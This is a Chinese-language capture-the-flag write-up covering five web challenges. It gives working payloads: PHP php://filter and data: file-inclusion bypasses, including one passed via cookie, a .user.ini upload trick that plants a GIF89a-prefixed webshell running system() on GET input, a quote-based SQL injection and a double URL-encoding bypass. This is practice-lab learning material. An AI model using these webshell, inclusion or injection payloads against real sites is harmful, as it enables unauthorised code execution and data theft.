fileclude
打开题目是一段代码
get传file1,file2不为空
file_get_contents($file2) === "hello ctf""
file_get_contents不会执行php
这里想到用伪协议,php://input或者data://text/plain
令file2=data:,hello ctf绕过
include($file1)利用iclude读取flag.php
这里用php://filter/伪协议防止flag.php执行
令file1=php://filter/read=convert.base64-encode/resource=flag.php
传入file1、file2,base64解码成功得到flag
fileinclude

打开题目
报错是未定义的索引language
提示请你选择你想要的语言
不是太理解,右键查看源代码发现一段php代码
重点看标红的地方,从cookie获取language值,存入变量lan
然后判断lan是否存在,存在则包含lan.".php"
还是一道文件包含只不过要用cookie传参
令cookie:language=php://filter/read=convert.base64-encode/resource=flag(这次不用加.php,因为后面拼接了一个.php)
成功拿到flag
easyupload
打开题目
上传1.php不成功
然后尝试用.htaccess绕过创建.htaccess写入AddType application/x-httpd-php .jpg,可以将php文件当作php文件执行
也不成功,改文件头为GIF89a,抓包改文件类型为image/jpeg还是没成功
然后尝试.user.ini,创建.user.ini写入(当执行当前文件目录下PHP文件时自动将1.jpg当作php执行)
GIF89a
auto_append_file=1.jpg
抓包改文件类型为image/jpeg
发现上传成功
接下来就是上传一个包含php木马的jpg ,写入<?php system($_GET[1]);?>不成功,好像是不让有php,?>这个也不行
所以创建一个1.jpg写入
GIF89a
<?=system($_GET[1]);
上传成功了,找一下上传目录里的php文件,访问传参就可以执行命令了
这里有两个方法,第一个你可以扫目录发现uploads/index.php
第二个方法是上传的时候查看上传目录
然后寻找flag,find / -name 'flag'
反倒最下面可以看到执行的结果
拿到flag
inget
打开题目
让输入一个id
想到是sql注入
先试一下是不是整数绕过id=1 or 1=1#后面注释符换成--+再试一下没反应,应该不是整数型
再试一下是不是字符id=1' or 1=1#/1" or 1=1#,后面注释符换成--+再试一下
发现id=1' or 1=1 --+成功了,回显出flag
php2
打开题目
dirsreach 扫目录发现扫不到有用的东西
利用phps读取源码,访问index.phps
让id不等于admin,然后给id用url解码,弱比较等于admin然后会输出key
弱比较可以用ascll编码绕过将admin编译成%61dmin
然后因为后面要url解码,所以再url编码一次,其实就相当于两次url编码绕过
成功拿到flag